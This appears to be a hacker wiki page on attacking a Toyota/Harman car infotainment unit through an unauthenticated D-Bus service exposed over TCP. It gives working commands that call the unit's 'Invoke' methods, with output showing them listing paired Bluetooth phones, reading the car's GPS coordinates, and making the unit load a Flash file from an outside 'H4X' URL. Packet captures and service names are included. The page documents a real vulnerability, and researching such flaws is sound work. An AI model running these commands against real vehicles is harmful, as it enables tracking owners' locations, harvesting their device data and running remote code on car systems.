= Introspection =

We created simple dbus-scanner:

{{attachment:scan.py}}

Which provided following results: [[/Scan]]

= Calling functions =

It seems that there is Invoke-method in almost every service and that one is used to call lua/c-functions that take json-paramters and return json-parameters.

{{attachment:toyota-cmd.py}}

Using that we were able to:

 1. Get list of paired Bluetooth devices {{{
machine% python toyota.py com.harman.service.BluetoothService getPairedDeviceList ''
{"pairedDeviceList":[{"serviceSearchList":[{"service":"A2DP_SOURCE","priority":0,"connected":false},{"service":"HFPGW","priority":1,"connected":true},{"service":"HSPGW","priority":0,"connected":false},{"service":"0000-1203-0000-1000-8000-0080-5F9B-34FB","priority":0,"connected":false},{"service":"PAN_NAP","priority":0,"connected":true},{"service":"AVRCP","priority":0,"connected":false},{"service":"SPP","priority":0,"connected":false},{"service":"PAN_GN","priority":0,"connected":false},{"service":"SDP","priority":0,"connected":false}],"name":"cn0011","address":"xx:xx:xx:xx:xx:xx"},{"serviceSearchList":[{"service":"HFPGW","priority":2,"connected":false},{"service":"A2DP_SOURCE","priority":0,"connected":false},{"service":"DID","priority":0,"connected":false},{"service":"AVRCP","priority":0,"connected":false},{"service":"0000-1203-0000-1000-8000-0080-5F9B-34FB","priority":0,"connected":false},{"service":"HSPGW","priority":0,"connected":false},{"service":"OPP_SERVER","priority":0,"connected":false},{"service":"PBAP_SERVER","priority":0,"connected":false},{"service":"SDP","priority":0,"connected":false}],"name":"ZTE-BLADE","address":"xx:xx:xx:xx:xx:xx"},{"serviceSearchList":[{"service":"HFPGW","priority":3,"connected":false},{"service":"A2DP_SOURCE","priority":0,"connected":false},{"service":"PAN_NAP","priority":0,"connected":false},{"service":"OPP_SERVER","priority":0,"connected":false},{"service":"FTP","priority":0,"connected":false},{"service":"DUNGW","priority":0,"connected":false},{"service":"0000-1201-0000-1000-8000-0080-5F9B-34FB","priority":0,"connected":false},{"service":"SPP","priority":0,"connected":false},{"service":"0000-1203-0000-1000-8000-0080-5F9B-34FB","priority":0,"connected":false},{"service":"HSPGW","priority":0,"connected":false},{"service":"SyncMLClient","priority":0,"connected":false},{"service":"PBAP_SERVER","priority":0,"connected":false},{"service":"SAP","priority":0,"connected":false},{"service":"0000-1204-0000-1000-8000-0080-5F9B-34FB","priority":0,"connected":false},{"service":"AVRCP","priority":0,"connected":false},{"service":"SDP","priority":0,"connected":false},{"service":"FBUS_RFCOMM","priority":0,"connected":false}],"name":"Nokia X3-02","address":"xx:xx:xx:xx:xx:xx"}],"description":"success","code":0}
}}}
 1. Get car GPS-position: {{{
machine% python toyota-cmd.py com.harman.service.Navigation MAP_PositionInfo ''
calling MAP_PositionInfo()
{"lat":65.06096196174622,"lon":25.44586372375488,"posInfo":null}
}}}
 1. Load any flash (swf) application from Internet: {{{
machine% python toyota-cmd.py com.harman.service.HMIService loadExternalSWF '{ "path":"http://www.sieni.us/H4X/29.swf" }'
calling loadExternalSWF({ "path":"http://www.sieni.us/H4X/29.swf" })
{"result":true}
}}}

= Old =

{{{
DBUS_SESSION_BUS_ADDRESS=tcp:host=192.168.2.4,port=6667 dbus-send --print-reply --dest=foo foo org.mydomain.Interface.Method
process 34445: arguments to dbus_message_new_method_call() were incorrect, assertion "_dbus_check_is_valid_path (path)" failed in file dbus-message.c line 1204.
This is normally a bug in some application using the D-Bus library.
  D-Bus not built with -rdynamic so unable to print a backtrace
Abort trap: 6


}}}

=== grepping com.harman.service ===
{{{
usr/share/scripts/nav-activation/nav-activation.lua:local g_navBusName       = "com.harman.service.Navigation"
usr/share/scripts/nav-activation/nav-activation.lua:local g_navSyncBusName   = "com.harman.service.NavigationUpdate"
usr/share/scripts/nav-activation/nav-activation.lua:local g_InstallerBusName = "com.harman.service.SoftwareInstallerExternal"
usr/share/scripts/nav-activation/nav-activation.lua:local g_HMIBusName       = "com.harman.service.HMIService"
usr/share/scripts/nav-activation/nav-activation.lua:local g_TMBusName        = "com.harman.service.ToyotaMGR"


}}}

{{{

usr/share/scripts/app-install/eu-app-install.lua:local g_InstallServiceName = "com.harman.service.SoftwareInstaller"
usr/share/scripts/app-install/us-app-install.lua:local g_InstallServiceName = "com.harman.service.SoftwareInstallerExternal"
usr/share/scripts/app-install/us-app-install.lua:local g_TMBusName          = "com.harman.service.ToyotaMGR"
usr/share/scripts/app-install/us-app-install.lua:local g_HMIBusName         = "com.harman.service.HMIService"
}}}


{{{
11:14:36.438392 IP 192.168.2.3.63280 > 192.168.2.4.6667: Flags [P.], seq 3741:38        85, ack 5448, win 8192, options [nop,nop,TS val 1209668591 ecr 976], len        gth 144
E.....@.@............0......l..... .)......
H.......l...........{.....o...../com/harman/service/ToyotaMGR.....s.....:1.11...        ..s.#...org.freedesktop.DBus.Introspectable.......s.
...Introspect......
11:14:36.501990 IP 192.168.2.4.6667 > 192.168.2.3.63280: Flags [P.], seq 5448:62        76, ack 3885, win 33580, options [nop,nop,TS val 976 ecr 1209668591], le        ngth 828
E..p..@.@..............0l......M...,.......
....H...l.......p.........s.....:1.73.....u.......g..s....s.....:1.11.......<!DO        CTYPE node PUBLIC "-//freedesktop//DTD D-BUS Object Introspection 1.0//E        N"
"http://www.freedesktop.org/standards/dbus/1.0/introspect.dtd">
<node name="/com/harman/service/ToyotaMGR">
   <interface name="com.harman.ServiceIpc">
      <method name="Invoke">
         <arg name="method" type="s" direction="in"/>
         <arg name="parameters" type="s" direction="in"/>
         <arg name="result" type="s" direction="out"/>
      </method>
      <signal name="Emit">
         <arg name="name" type="s"/>
         <arg name="data" type="s"/>
      </signal>
   </interface>
   <interface name="org.freedesktop.DBus.Introspectable">
      <method name="Introspect">
         <arg direction="out" type="s" name="data"/>
      </method>
   </interface>
</node>.



}}}

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